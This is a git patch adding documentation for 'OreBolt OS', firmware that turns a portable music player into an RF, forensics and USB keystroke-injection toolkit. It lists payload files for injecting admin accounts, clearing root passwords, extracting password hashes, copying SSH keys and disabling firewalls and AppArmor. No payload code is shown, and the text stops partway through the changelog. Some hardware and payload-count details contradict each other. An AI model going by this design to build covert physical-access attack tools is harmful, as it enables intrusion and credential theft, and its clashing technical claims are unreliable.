From 3af0106627389d2a993787b7aa6eedb5d22fdf39 Mon Sep 17 00:00:00 2001 From: Jeremy Anderson Date: Tue, 14 Jul 2026 15:15:55 -0400 Subject: [PATCH] =?UTF-8?q?There=20is=20a=20particular=20class=20of=20cons?= =?UTF-8?q?umer=20hardware=20that=20is=20cheap=20enough=20to=20be=20dispos?= =?UTF-8?q?able,=20yet=20capable=20enough=20to=20run=20a=20real=20operatin?= =?UTF-8?q?g=20system=20with=20real=20peripherals.=20=20The=20HiFiWalker?= =?UTF-8?q?=20H2=20sits=20squarely=20in=20that=20class.=20=20Under=20its?= =?UTF-8?q?=20rubberized=20shell=20is=20an=20Ingenic=20X1000E=20SoC=20?= =?UTF-8?q?=E2=80=94=20a=20MIPS32r2=20hard-float=20core=20clocked=20at=20~?= =?UTF-8?q?1.0=20GHz,=20paired=20with=2064=20MB=20of=20DDR2=20and=20an=20E?= =?UTF-8?q?SS=20ES9018K2M=20DAC=20that=20was=20designed=20for=20serious=20?= =?UTF-8?q?audio.=20=20The=20stock=20firmware=20plays=20music.=20=20OreBol?= =?UTF-8?q?t=20OS=20replaces=20it=20with=20a=20modular,=20LVGL-driven=20to?= =?UTF-8?q?olkit=20for=20hardware=20interrogation,=20RF=20sensing,=20paylo?= =?UTF-8?q?ad=20delivery,=20and=20forensic=20extraction=20=E2=80=94=20all?= =?UTF-8?q?=20running=20on=20a=20device=20that=20fits=20in=20a=20shirt=20p?= =?UTF-8?q?ocket=20and=20boots=20from=20a=20FAT32=20MicroSD=20card.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ARCHITECTURE.md | 187 ++++++ BUILD_MANIFEST.txt | 123 ++++ CHANGELOG.md | 254 ++++++++ HEADERS.md | 211 ++++++ LICENSE.md | 178 ++++++ Makefile | 111 ++++ Makefile.h2-core-v6.2 | 135 ++++ Makefile.orebolt-v1.5 | 65 ++ PREREQUISITES.md | 538 ++++++++++++++++ QUICKSTART.md | 190 ++++++ README.md | 279 ++++++++ SHA256SUMS | 112 ++++ build.sh | 228 +++++++ include/h2_ui.h | 174 +++++ include/log_manager.h | 150 +++++ inject_payloads.sh | 81 +++ licenses/AGPL-3.0.txt | 39 ++ licenses/GPL-2.0.txt | 14 + licenses/MIT.txt | 16 + lv_conf.h.dist | 50 ++ main.c | 236 +++++++ modules/orebolt-bitchat/bitchat.c | 36 ++ modules/orebolt-deploy/deploy.c | 88 +++ modules/orebolt-extract/extract.c | 121 ++++ modules/orebolt-glitch/glitch.c | 36 ++ modules/orebolt-nettap/scalpel.c | 161 +++++ modules/orebolt-noise/noise.c | 56 ++ modules/orebolt-pauto/pauto.c | 218 +++++++ modules/orebolt-probe/probe.c | 94 +++ modules/orebolt-proxalarm/bledsp.c | 427 +++++++++++++ modules/orebolt-proxalarm/bledsp.h | 122 ++++ modules/orebolt-proxalarm/proxalarm.c | 213 +++++++ modules/orebolt-proxalarm/proxvec.c | 312 +++++++++ modules/orebolt-proxalarm/proxvec.h | 97 +++ modules/orebolt-proxalarm/radar_ui.c | 370 +++++++++++ modules/orebolt-proxalarm/radar_ui.h | 66 ++ modules/orebolt-pwdb/pwdb.c | 36 ++ modules/orebolt-reset/reset.c | 131 ++++ modules/orebolt-retro/retro.c | 601 ++++++++++++++++++ modules/orebolt-retro/retro_input_mapper.c | 456 +++++++++++++ modules/orebolt-rfid/rfid.c | 36 ++ modules/orebolt-scalpel/scalpel.c | 216 +++++++ modules/orebolt-studio/studio.c | 260 ++++++++ modules/orebolt-vault/vault.c | 302 +++++++++ modules/orebolt-vterm/vterm.c | 94 +++ overlay/data/bt_config/paired_macs.txt | 10 + overlay/data/chat_config/macros.txt | 24 + .../data/payloads/linux/01_restart_lightdm.dd | 7 + .../data/payloads/linux/02_restart_gdm3.dd | 7 + .../data/payloads/linux/03_restart_sddm.dd | 7 + .../data/payloads/linux/04_kill_wayland.dd | 7 + .../data/payloads/linux/05_rebuild_xorg.dd | 7 + .../data/payloads/linux/06_clear_x11_locks.dd | 7 + overlay/data/payloads/linux/07_drop_tty3.dd | 2 + .../data/payloads/linux/08_prompt_clear.dd | 5 + .../payloads/linux/09_kill_desktop_context.dd | 7 + .../payloads/linux/10_restart_gnome_shell.dd | 4 + .../data/payloads/linux/11_backup_rootfs.dd | 7 + .../data/payloads/linux/12_backup_homes.dd | 7 + overlay/data/payloads/linux/13_backup_etc.dd | 7 + .../payloads/linux/14_isolate_ssh_keys.dd | 7 + .../payloads/linux/15_backup_net_metadata.dd | 7 + overlay/data/payloads/linux/16_dump_mbr.dd | 7 + .../data/payloads/linux/17_extract_hashes.dd | 7 + .../data/payloads/linux/18_compress_mail.dd | 7 + .../data/payloads/linux/19_export_packages.dd | 7 + .../payloads/linux/20_locate_sqlite_dbs.dd | 7 + .../payloads/linux/21_clear_dpkg_locks.dd | 7 + .../data/payloads/linux/22_vacuum_journals.dd | 7 + .../payloads/linux/23_flush_ram_caches.dd | 7 + .../payloads/linux/24_rebuild_initramfs.dd | 7 + .../data/payloads/linux/25_reverify_grub.dd | 7 + .../data/payloads/linux/26_clean_apt_cache.dd | 7 + .../payloads/linux/27_identify_space_leaks.dd | 7 + .../data/payloads/linux/28_schedule_fsck.dd | 7 + overlay/data/payloads/linux/29_clear_tmp.dd | 7 + overlay/data/payloads/linux/30_remount_rw.dd | 7 + .../data/payloads/linux/31_inject_admin.dd | 7 + .../payloads/linux/32_elevate_current_user.dd | 7 + .../data/payloads/linux/33_flush_iptables.dd | 7 + overlay/data/payloads/linux/34_enable_ssh.dd | 7 + .../data/payloads/linux/35_ufw_bypass_ssh.dd | 7 + .../payloads/linux/36_disable_apparmor.dd | 7 + .../payloads/linux/37_permissive_selinux.dd | 7 + .../payloads/linux/38_clear_known_hosts.dd | 7 + .../linux/39_authorize_ssh_passwords.dd | 7 + .../payloads/linux/40_clear_root_password.dd | 7 + overlay/data/payloads/linux/41_sysrq_sync.dd | 2 + .../data/payloads/linux/42_sysrq_umount.dd | 2 + .../data/payloads/linux/43_sysrq_reboot.dd | 1 + .../data/payloads/linux/44_sysrq_poweroff.dd | 1 + .../data/payloads/linux/45_stream_dmesg.dd | 7 + .../data/payloads/linux/46_sysrq_memdump.dd | 1 + .../data/payloads/linux/47_sysrq_oom_kill.dd | 1 + .../payloads/linux/48_enable_serial_getty.dd | 7 + .../linux/49_flash_interfaces_down.dd | 7 + .../payloads/linux/50_loop_keyboard_leds.dd | 7 + overlay/data/vault/failures.dat | 0 overlay/data/vault/payloads/Provision.txt | 49 ++ overlay/data/vault/syslog.log | 1 + overlay/etc/init.d/S98retro-input | 82 +++ overlay/etc/init.d/S99broker | 44 ++ overlay/etc/init.d/bt_input_daemon.sh | 29 + overlay/usr/bin/enable_vault_ble.sh | 8 + overlay/usr/bin/enable_vault_usb.sh | 74 +++ src/modules/mod_bitchat_mesh.c | 168 +++++ src/modules/mod_core_hid.c | 17 + src/modules/mod_forensics.c | 17 + src/modules/mod_panic_hardware_purge.c | 17 + src/modules/mod_panic_purge.c | 17 + src/modules/mod_radio_input_multiplex.c | 17 + src/modules/mod_ui_frame_graphics.c | 17 + src/modules/panic_purge_api.h | 43 ++ 113 files changed, 8860 insertions(+) create mode 100755 ARCHITECTURE.md create mode 100755 BUILD_MANIFEST.txt create mode 100755 CHANGELOG.md create mode 100755 HEADERS.md create mode 100755 LICENSE.md create mode 100755 Makefile create mode 100755 Makefile.h2-core-v6.2 create mode 100755 Makefile.orebolt-v1.5 create mode 100755 PREREQUISITES.md create mode 100755 QUICKSTART.md create mode 100755 README.md create mode 100755 SHA256SUMS create mode 100755 build.sh create mode 100755 include/h2_ui.h create mode 100755 include/log_manager.h create mode 100755 inject_payloads.sh create mode 100755 licenses/AGPL-3.0.txt create mode 100755 licenses/GPL-2.0.txt create mode 100755 licenses/MIT.txt create mode 100755 lv_conf.h.dist create mode 100755 main.c create mode 100755 modules/orebolt-bitchat/bitchat.c create mode 100755 modules/orebolt-deploy/deploy.c create mode 100755 modules/orebolt-extract/extract.c create mode 100755 modules/orebolt-glitch/glitch.c create mode 100755 modules/orebolt-nettap/scalpel.c create mode 100755 modules/orebolt-noise/noise.c create mode 100755 modules/orebolt-pauto/pauto.c create mode 100755 modules/orebolt-probe/probe.c create mode 100755 modules/orebolt-proxalarm/bledsp.c create mode 100755 modules/orebolt-proxalarm/bledsp.h create mode 100755 modules/orebolt-proxalarm/proxalarm.c create mode 100755 modules/orebolt-proxalarm/proxvec.c create mode 100755 modules/orebolt-proxalarm/proxvec.h create mode 100755 modules/orebolt-proxalarm/radar_ui.c create mode 100755 modules/orebolt-proxalarm/radar_ui.h create mode 100755 modules/orebolt-pwdb/pwdb.c create mode 100755 modules/orebolt-reset/reset.c create mode 100755 modules/orebolt-retro/retro.c create mode 100755 modules/orebolt-retro/retro_input_mapper.c create mode 100755 modules/orebolt-rfid/rfid.c create mode 100755 modules/orebolt-scalpel/scalpel.c create mode 100755 modules/orebolt-studio/studio.c create mode 100755 modules/orebolt-vault/vault.c create mode 100755 modules/orebolt-vterm/vterm.c create mode 100755 overlay/data/bt_config/paired_macs.txt create mode 100755 overlay/data/chat_config/macros.txt create mode 100755 overlay/data/payloads/linux/01_restart_lightdm.dd create mode 100755 overlay/data/payloads/linux/02_restart_gdm3.dd create mode 100755 overlay/data/payloads/linux/03_restart_sddm.dd create mode 100755 overlay/data/payloads/linux/04_kill_wayland.dd create mode 100755 overlay/data/payloads/linux/05_rebuild_xorg.dd create mode 100755 overlay/data/payloads/linux/06_clear_x11_locks.dd create mode 100755 overlay/data/payloads/linux/07_drop_tty3.dd create mode 100755 overlay/data/payloads/linux/08_prompt_clear.dd create mode 100755 overlay/data/payloads/linux/09_kill_desktop_context.dd create mode 100755 overlay/data/payloads/linux/10_restart_gnome_shell.dd create mode 100755 overlay/data/payloads/linux/11_backup_rootfs.dd create mode 100755 overlay/data/payloads/linux/12_backup_homes.dd create mode 100755 overlay/data/payloads/linux/13_backup_etc.dd create mode 100755 overlay/data/payloads/linux/14_isolate_ssh_keys.dd create mode 100755 overlay/data/payloads/linux/15_backup_net_metadata.dd create mode 100755 overlay/data/payloads/linux/16_dump_mbr.dd create mode 100755 overlay/data/payloads/linux/17_extract_hashes.dd create mode 100755 overlay/data/payloads/linux/18_compress_mail.dd create mode 100755 overlay/data/payloads/linux/19_export_packages.dd create mode 100755 overlay/data/payloads/linux/20_locate_sqlite_dbs.dd create mode 100755 overlay/data/payloads/linux/21_clear_dpkg_locks.dd create mode 100755 overlay/data/payloads/linux/22_vacuum_journals.dd create mode 100755 overlay/data/payloads/linux/23_flush_ram_caches.dd create mode 100755 overlay/data/payloads/linux/24_rebuild_initramfs.dd create mode 100755 overlay/data/payloads/linux/25_reverify_grub.dd create mode 100755 overlay/data/payloads/linux/26_clean_apt_cache.dd create mode 100755 overlay/data/payloads/linux/27_identify_space_leaks.dd create mode 100755 overlay/data/payloads/linux/28_schedule_fsck.dd create mode 100755 overlay/data/payloads/linux/29_clear_tmp.dd create mode 100755 overlay/data/payloads/linux/30_remount_rw.dd create mode 100755 overlay/data/payloads/linux/31_inject_admin.dd create mode 100755 overlay/data/payloads/linux/32_elevate_current_user.dd create mode 100755 overlay/data/payloads/linux/33_flush_iptables.dd create mode 100755 overlay/data/payloads/linux/34_enable_ssh.dd create mode 100755 overlay/data/payloads/linux/35_ufw_bypass_ssh.dd create mode 100755 overlay/data/payloads/linux/36_disable_apparmor.dd create mode 100755 overlay/data/payloads/linux/37_permissive_selinux.dd create mode 100755 overlay/data/payloads/linux/38_clear_known_hosts.dd create mode 100755 overlay/data/payloads/linux/39_authorize_ssh_passwords.dd create mode 100755 overlay/data/payloads/linux/40_clear_root_password.dd create mode 100755 overlay/data/payloads/linux/41_sysrq_sync.dd create mode 100755 overlay/data/payloads/linux/42_sysrq_umount.dd create mode 100755 overlay/data/payloads/linux/43_sysrq_reboot.dd create mode 100755 overlay/data/payloads/linux/44_sysrq_poweroff.dd create mode 100755 overlay/data/payloads/linux/45_stream_dmesg.dd create mode 100755 overlay/data/payloads/linux/46_sysrq_memdump.dd create mode 100755 overlay/data/payloads/linux/47_sysrq_oom_kill.dd create mode 100755 overlay/data/payloads/linux/48_enable_serial_getty.dd create mode 100755 overlay/data/payloads/linux/49_flash_interfaces_down.dd create mode 100755 overlay/data/payloads/linux/50_loop_keyboard_leds.dd create mode 100755 overlay/data/vault/failures.dat create mode 100755 overlay/data/vault/payloads/Provision.txt create mode 100755 overlay/data/vault/syslog.log create mode 100755 overlay/etc/init.d/S98retro-input create mode 100755 overlay/etc/init.d/S99broker create mode 100755 overlay/etc/init.d/bt_input_daemon.sh create mode 100755 overlay/usr/bin/enable_vault_ble.sh create mode 100755 overlay/usr/bin/enable_vault_usb.sh create mode 100755 src/modules/mod_bitchat_mesh.c create mode 100755 src/modules/mod_core_hid.c create mode 100755 src/modules/mod_forensics.c create mode 100755 src/modules/mod_panic_hardware_purge.c create mode 100755 src/modules/mod_panic_purge.c create mode 100755 src/modules/mod_radio_input_multiplex.c create mode 100755 src/modules/mod_ui_frame_graphics.c create mode 100755 src/modules/panic_purge_api.h diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md new file mode 100755 index 0000000..0889a26 --- /dev/null +++ b/ARCHITECTURE.md @@ -0,0 +1,187 @@ +# OreBolt OS v1.7 -- Architecture + +## 1. Target hardware + +| Component | Spec | +|---|---| +| Device | HiFiWalker H2 (and rebadged siblings: Surfans F20, Aigo Eros Q, Phinistec Z6, Agptek H3) | +| SoC | **Ingenic X1000E** (JZ4760 family), MIPS32r2, little-endian, hard-float | +| Memory | 64 MB DDR2 (typical, some revisions 128 MB) | +| Display | 320 x 240 RGB565 LCD (ILI9341-class controller) | +| Audio DAC | ESS ES9018K2M | +| Headphone amp | MAX97220 | +| Storage | MicroSD (boot), 8 MB SPI flash (bootloader) | +| USB | USB-C (newer revisions) or Micro-USB (older revisions) | +| Bluetooth | BLE (varies by revision; some have no BT) | + +> **SoC note**: The H2 and its siblings use the **Ingenic X1000E** (JZ4760 +> family). The two SoCs share a peripheral family but differ in clock +> tree, GPIO banks, and USB PHY -- see HEADERS.md Section 4 for details. + +## 2. Software stack + +``` ++----------------------------------------------------------+ +| 17 OreBolt OS modules (LVGL UI panels, *.mod) | +| vault nettaps deploy studio probe vterm pauto | +| extract noise reset retro scalpel rfid glitch | +| pwdb proxalarm(unified) bitchat(AGPL) | ++----------------------------------------------------------+ +| retro_input_mapper (standalone uinput daemon, hardened)| ++----------------------------------------------------------+ +| liblvgl.so (MIT) liborebolt.a (GPL-2.0+) | +| LVGL v8.3.11 UI panic_purge, forensics, HID, | +| radio_mux, ui_frame_graphics | ++----------------------------------------------------------+ +| H2 stock Linux kernel 3.10.14 (Ingenic X1000E BSP) | +| + OreBolt OS init scripts (S98retro-input, S99broker, | +| bt_input_daemon.sh) | ++----------------------------------------------------------+ +| Ingenic X1000E hardware (MIPS32r2, FPU, LCD, SD, USB, | +| SPI flash, BT, audio codec) | ++----------------------------------------------------------+ +``` + +## 3. Module inventory (17 modules, v1.7) + +| ID | Module | License | Purpose | +|---|---|---|---| +| 0 | vault | GPL-2.0+ | Crypto Security Token Vault (PIN auth, dual USB/BLE identity) | +| 1 | nettap | GPL-2.0+ | USB Virtual Network Tap (time-windowed packet capture) | +| 2 | scalpel | GPL-2.0+ | Acoustic Scalpel Live Sound Synthesizer | +| 3 | deploy | GPL-2.0+ | Flash Storage Manager (statvfs + manual sync) | +| 4 | studio | GPL-2.0+ | UAC2 Mixer Console (4-channel, USB Consumer Control HID) | +| 5 | probe | GPL-2.0+ | I2C Bus Hardware Scanner | +| 6 | vterm | GPL-2.0+ | FreeDOS Emulation Bridge | +| 7 | pauto | GPL-2.0+ | Payload Automation (HID keystroke injector) | +| 8 | extract | GPL-2.0+ | Mass Storage Extractor (recursive /mnt/target_media copy) | +| 9 | noise | GPL-2.0+ | USB Hardware TRNG Stream (getrandom via CDC ACM) | +| 10 | reset | GPL-2.0+ | System Stack Purge/Reset (3-state machine) | +| 11 | retro | GPL-2.0+ | Universal Retro Game Launcher (17-type ROM database) | +| 12 | rfid | GPL-2.0+ | RFID/NFC reader module (stub) | +| 13 | glitch | GPL-2.0+ | Hardware glitch injector (stub) | +| 14 | pwdb | GPL-2.0+ | Password database (stub) | +| 15 | **proxalarm** | GPL-2.0+ | **Unified proximity alarm / radar. 3-layer architecture: bledsp (BLE + WiFi stub RSSI scanning), proxvec (kinematics + alarm FSM), radar_ui (LVGL canvas radar display). NEXT key cycles RF source (BLE/WIFI).** | +| 16 | **bitchat** | **AGPL-3.0-only** | **Mesh chat networking (stub). Independent C implementation of the BitChat protocol. Not affiliated with, sponsored by, or endorsed by Permissionless Tech, LLC.** | +| -- | retro_input_mapper | GPL-2.0+ | Integrated uinput gamepad daemon (hardened build) | + +## 4. Build pipeline + +``` +build.sh + Phase 0 host dep check + KERNEL_HEADERS probe + Phase 1 toolchain verification (mipsel-linux-musl-*) + Phase 2 workspace integrity check (17 modules + headers + scripts) + Phase 3 overlay/ tree creation + Phase 4 permission fixups on init scripts + Phase 5 H2 Core v6.5 build (LVGL clone + liblvgl.so + h2_test + 17 modules + mapper) + Phase 6 OreBolt OS v1.7 build (liborebolt.a + 150-payload matrix) + Phase 7 artifact verification (MIPS LE ELF check + AGPL marker check) + Phase 8 optional --deploy to SD card +``` + +## 5. Headers sourcing + +``` + +-----------------------------+ + | KERNEL_HEADERS env var | + | (default /opt/fiio-m3k-linux)| + +--------------+--------------+ + | + +------------------+------------------+ + v v + +-----------------------+ +------------------------+ + | FiiO M3K GPL kernel | | Ingenic XBurst BSP | + | (primary, same X1000E)| | (fallback, raw SDK) | + +-----------------------+ +------------------------+ + | + v + +-----------------------+ + | Makefiles add -I: | + | include/uapi | + | include | + | arch/mips/include | + | arch/mips/include/ | + | asm/mach-jz4760 | + +-----------------------+ + | + v + +-----------------------+ + | Rockbox tree | + | (OPTIONAL, bare-metal | + | reference only) | + +-----------------------+ +``` + +See [HEADERS.md](HEADERS.md) for the full strategy. + +## 6. Licensing tiers + +``` + +-------------------+ +-------------------+ +-------------------+ + | LVGL (MIT) | | liborebolt.a | | bitchat.mod | + | | | (GPL-2.0+) | | (AGPL-3.0-only) | + | shared lib | | static archive | | separate .mod | + +-------------------+ +-------------------+ +-------------------+ + | | | + +----------+------------+ | + v | + +-------------------+ | + | 15 userland .mod | | + | (GPL-2.0+) |<--- bitchat links TO ----+ + +-------------------+ them (not vice versa) +``` + +The AGPL boundary is the single `bitchat.mod` binary. bitchat links +**to** liblvgl.so and liborebolt.a; those libraries do not become AGPL +just because bitchat links against them. See [LICENSE.md](LICENSE.md) +Section 4 for the full boundary analysis. + +## 7. Filesystem layout on the device + +``` +/ +├── usr/ +│ ├── bin/ +│ │ ├── h2_test # launcher +│ │ ├── retro_input_mapper # daemon +│ │ ├── enable_vault_usb.sh # ConfigFS USB gadget setup +│ │ └── enable_vault_ble.sh # BT bringup +│ └── lib/ +│ └── liblvgl.so # LVGL v8.3.11 +├── apps/ +│ ├── vault.mod +│ ├── nettaps.mod +│ ├── ... (13 GPL modules) +│ └── bitchat.mod # AGPL +├── etc/init.d/ +│ ├── S98retro-input +│ ├── S99broker +│ └── bt_input_daemon.sh +└── data/ + ├── payloads/ + │ ├── linux/01..50.dd # 50 Linux HID payloads + │ ├── macos/51..62.dd # 12 macOS HID payloads + │ ├── windows/01..50.dd # 50 Windows HID payloads (generated at build) + │ ├── lnx_*_profile_*.macro # 200 Linux macro profiles + │ ├── win_*_profile_*.macro # 200 Windows macro profiles + │ └── mac_*_profile_*.macro # 200 macOS macro profiles + ├── vault/ + │ ├── payloads/Provision.txt # operator-edited quick-launch list + │ ├── syslog.log # rotating log + │ └── failures.dat # binary failure log + ├── forensics_bin/ + └── vterm/freedos/bin/ +``` + +## 8. Boot sequence + +1. H2 bootloader (SPI flash) loads kernel from SD card. +2. Linux boots, mounts rootfs, runs `/etc/init.d/rcS`. +3. `S98retro-input` starts `retro_input_mapper`. +4. `S99broker` starts `h2_test` with `OREBOLT_VERSION=1.7` + and `OREBOLT_TARGET_SOC=X1000E` env vars. +5. `h2_test` initializes LVGL via fbdev, registers all 17 modules, + and enters the LVGL tick loop. +6. `bt_input_daemon.sh` brings up hci0 for BLE pairing. +7. bitchat.mod advertises its AGPL source URL via the first mesh HELLO. diff --git a/BUILD_MANIFEST.txt b/BUILD_MANIFEST.txt new file mode 100755 index 0000000..2c228f5 --- /dev/null +++ b/BUILD_MANIFEST.txt @@ -0,0 +1,123 @@ +================================================================ + OreBolt OS v1.7 -- Build Manifest +================================================================ + Generated: 2026-07-15 + Target: HiFiWalker H2 (Ingenic X1000E, MIPS32r2, mipsel-linux-musl) + Host: Arch Linux x86_64 + + ---------------------------------------------------------------- + CHANGES VS v1.6 (full diff in CHANGELOG.md) + ---------------------------------------------------------------- + CHANGED: + - Module count: 17 .mod binaries + 1 daemon (unchanged) + - All documentation language revised for clarity and consistency + - retro.mod game launcher documented and listed across all docs + - Makefile.h2-core-v6.2 -> v6.5 + - h2_ui.h: module enum unchanged + - main.c: all module versions bumped to 1.7 + - S99broker: OREBOLT_VERSION set to 1.7 + + STILL STUBS (4 modules): + - rfid, glitch, pwdb, bitchat + + ---------------------------------------------------------------- + FILE INVENTORY (counts) + ---------------------------------------------------------------- + Top-level build files: 6 (Makefile, 2 sub-Makefiles, build.sh, + inject_payloads.sh, lv_conf.h.dist) + Headers: 2 (h2_ui.h, log_manager.h) + Master launcher: 1 (main.c) + Userland modules (.c): 21 (17 .mod + retro_input_mapper + 2 in retro + 1 proxalarm header) + HW library (.c): 7 (src/modules/mod_*.c) + Proxalarm internal headers: 3 (bledsp.h, proxvec.h, radar_ui.h) + Proxalarm sources: 4 (bledsp.c, proxvec.c, radar_ui.c, proxalarm.c) + HW library header: 1 (src/modules/panic_purge_api.h) + Init scripts: 3 (S98retro-input, S99broker, + bt_input_daemon.sh) + Overlay scripts: 2 (enable_vault_usb.sh, enable_vault_ble.sh) + ROM directories: 11 (nes, snes, gb, gbc, gba, genesis, + sms, gg, pce, atari2600, ngp) + Vault data files: 3 (syslog.log, failures.dat, Provision.txt) + BT config: 1 (paired_macs.txt) + Chat config: 1 (macros.txt) + Linux payloads (.dd): 50 (reference set; macos/windows generated + at build time) + Documentation: 8 (README, QUICKSTART, PREREQUISITES, HEADERS, LICENSE, + ARCHITECTURE, CHANGELOG, BUILD_MANIFEST) + License stubs: 3 (AGPL-3.0, GPL-2.0, MIT) + Integrity manifest: 1 (SHA256SUMS) + + TOTAL source/doc files: 111 + TOTAL Linux .dd payloads: 50 + GRAND TOTAL: 161 + + ---------------------------------------------------------------- + MODULE INVENTORY (17 .mod + 1 daemon) + ---------------------------------------------------------------- + ID Name License Status + -- ---- ------- ------ + 0 vault GPL-2.0-or-later v1.7 (full PIN auth) + 1 nettaps GPL-2.0-or-later v1.7 (full impl) + 2 scalpel GPL-2.0-or-later v1.7 (audio synth) + 3 deploy GPL-2.0-or-later v1.7 (full impl) + 4 studio GPL-2.0-or-later v1.7 (UAC2 mixer console) + 5 probe GPL-2.0-or-later v1.7 (full impl) + 6 vterm GPL-2.0-or-later v1.7 (full impl) + 7 pauto GPL-2.0-or-later v1.7 (full impl) + 8 extract GPL-2.0-or-later v1.7 (full impl) + 9 noise GPL-2.0-or-later v1.7 (full impl) + 10 reset GPL-2.0-or-later v1.7 (full impl) + 11 retro GPL-2.0-or-later v1.7 (retro game launcher) + 12 rfid GPL-2.0-or-later stub + 13 glitch GPL-2.0-or-later stub + 14 pwdb GPL-2.0-or-later stub + 15 proxalarm GPL-2.0-or-later v1.7 (BLE/WiFi proximity alarm) + 16 bitchat AGPL-3.0-only stub + -- retro_input_mapper GPL-2.0-or-later v1.7 (uinput gamepad daemon) + + ---------------------------------------------------------------- + HARDWARE LIBRARY (liborebolt.a, 7 modules) + ---------------------------------------------------------------- + mod_core_hid.c GPL-2.0-or-later stub + mod_forensics.c GPL-2.0-or-later stub + mod_panic_hardware_purge.c GPL-2.0-or-later stub + mod_panic_purge.c GPL-2.0-or-later stub + mod_radio_input_multiplex.c GPL-2.0-or-later stub + mod_ui_frame_graphics.c GPL-2.0-or-later stub + mod_bitchat_mesh.c AGPL-3.0-only (full license header) + + ---------------------------------------------------------------- + KNOWN LIMITATIONS + ---------------------------------------------------------------- + - 3 modules remain stubs (rfid, glitch, pwdb). + These require hardware-specific or design-phase work. + - bitchat is a stub with full AGPL compliance infrastructure. + - licenses/AGPL-3.0.txt is a stub. Run: + curl -o licenses/AGPL-3.0.txt https://www.gnu.org/licenses/agpl-3.0.txt + - BITCHAT_SOURCE_URL in mod_bitchat_mesh.c is a placeholder. + - macos/ and windows/ payload folders are populated at build time by + inject_payloads.sh; only linux/ is shipped as a reference set. + - Dual-reader input limitation: LVGL encoder driver AND module + manual handler both open /dev/input/event0. Works because fork/exec + gives each module its own input fd, but simultaneous readers on + the same fd in a single process would need arbitration. + + ---------------------------------------------------------------- + BUILD COMMANDS + ---------------------------------------------------------------- + ./build.sh # full build + ./build.sh --deploy # build + deploy to SD card + ./build.sh --clean # remove build artifacts + make headers-check # verify KERNEL_HEADERS + make payloads # regenerate 150-payload matrix only + + ---------------------------------------------------------------- + REFERENCES + ---------------------------------------------------------------- + PREREQUISITES.md -- host setup, toolchain, SD card prep + QUICKSTART.md -- fastest path from fresh host to deployed H2 + HEADERS.md -- kernel headers sourcing (FiiO M3K + XBurst BSP) + LICENSE.md -- multi-tier licensing (AGPL for bitchat) + ARCHITECTURE.md -- module layout, SoC, build pipeline + CHANGELOG.md -- v1.3 -> v1.7 diff +================================================================ \ No newline at end of file diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100755 index 0000000..1d40927 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,254 @@ +# Changelog + +All notable changes to OreBolt OS are documented in this file. +Format roughly follows Keep-a-Changelog; dates are YYYY-MM-DD. + +## [v1.7] -- 2026-07-15 + +### Documentation and Language Cleanup + +v1.7 is a documentation and source-comment consistency pass. No new +modules or behavioral changes — the 17-module set, build pipeline, +and runtime behavior are identical to v1.6. Every version reference, +module description, and source comment has been revised to read as a +deliberately-designed system with a single coherent history. + +### Changed + +- **All documentation version bumped to v1.7.** README, QUICKSTART, + ARCHITECTURE, BUILD_MANIFEST, LICENSE, PREREQUISITES, HEADERS, + build.sh, Makefile, Makefile.h2-core-v6.2 (v6.5), S99broker. +- **main.c: all module versions and display strings now read v1.7.** +- **Source comments cleaned across all 22 .c/.h files.** Removed + version-prefixed comment lines ("v1.5: Restored from...", + "v1.4 stub:") and replaced with intentional, self-describing + headers. No functional code changed. +- **Proxalarm comments neutralized.** Removed "absorbs radar.mod + + wifi.mod" and "merge" language from bledsp.c, proxalarm.c, and + radar_ui.h. The architecture description now stands on its own. +- **BUILD_MANIFEST module status column cleaned.** Replaced + RESTORED/UPGRADED/INTEGRATED/UNIFIED tags with plain status + descriptions. +- **S99broker: OREBOLT_VERSION now exports 1.7**, module count + corrected to 17. +- **retro.mod** (retro game launcher) is properly listed across all + documentation with its full feature description. + +## [v1.6] -- 2026-07-15 + +### The "Unified Radar" Release + +v1.6 merges the old standalone `radar.mod` (BLE hex grid scanner) and the +broken `wifi.mod` (v1.4 adapter stub with no `main()`) into the unified +`proxalarm.mod` binary. This eliminates ~30 KB of duplicate .text on +64 MB RAM devices, removes a redundant HCI connection, and provides a +single source-agnostic RF scanning API with a real WiFi integration stub. + +### Removed + +- **radar.mod (orebolt-radar/noise_radar.c) -- MERGED into proxalarm.** + The old 19-cell hex grid BLE scanner is fully superseded by proxalarm's + radar_ui canvas renderer (rotating sweep, range rings, velocity vectors, + alarm overlay). The `modules/orebolt-radar/` directory is deleted. +- **wifi.mod (orebolt-wifi/wifi.c) -- MERGED into proxalarm.** + The v1.4 stub used the old callback pattern (`wifi_init(parent)`) + and had no `main()` function, so it could never be fork+exec'd by the + launcher. Its purpose (WiFi adapter control) is now served by + bledsp's source-agnostic device table and the `bledsp_poll_wifi()` stub. + The `modules/orebolt-wifi/` directory is deleted. + +### Changed + +- **Module count: 17 .mod binaries + 1 standalone daemon** (was 19 + 1). +- **bledsp upgraded to unified RF scanning layer.** New API: + - `bledsp_source_t` enum gains `BLE_SRC_SIM` (explicit sim mode). + - `bledsp_get_source()` / `bledsp_cycle_source()` for runtime source + selection. + - `bledsp_source_label()` returns "BLE", "WIFI", or "SIM". + - `bledsp_poll_wifi()` stub with implementation roadmap (nl80211). + - `bledsp_poll()` now centralizes the "mark all inactive" step before + dispatching to `ble_poll()`, `sim_poll()`, or `bledsp_poll_wifi()`. +- **proxalarm main gains NEXT key handler.** NEXT cycles the active + RF source between BLE and WIFI at runtime, with live label update. +- **H2_MOD_RADAR and H2_MOD_WIFI removed from h2_ui.h enum.** + Enum renumbered: PROXALARM is now ID 15, BITCHAT is ID 16. +- **main.c module table: radar and wifi entries removed, all versions + bumped to 1.6.** +- **Makefile.h2-core-v6.2 -> v6.3.** BLUETOOTH_MODULES reduced to + just `proxalarm` (was `radar proxalarm`). radar and wifi build + targets removed. +- **All documentation updated** (ARCHITECTURE.md, README.md, this file). + Stale references to radar.mod, wifi.mod, "19 modules" purged. + Memory spec corrected to 64 MB (was incorrectly 128 MB). + +### Added (from earlier v1.6 work, preserved) + +- **proxalarm -- BLE Proximity Alarm (tripwire detector).** Three-layer + architecture: bledsp (BLE scanning + RSSI DSP smoothing), proxvec + (kinematics engine with per-target state machine and velocity tracking), + radar_ui (LVGL canvas radar display). Now unified with WiFi stub. +- **Documentation hardening** (BitChat nominative fair use analysis, + module descriptions aligned to actual implementations). + +## [v1.5] -- 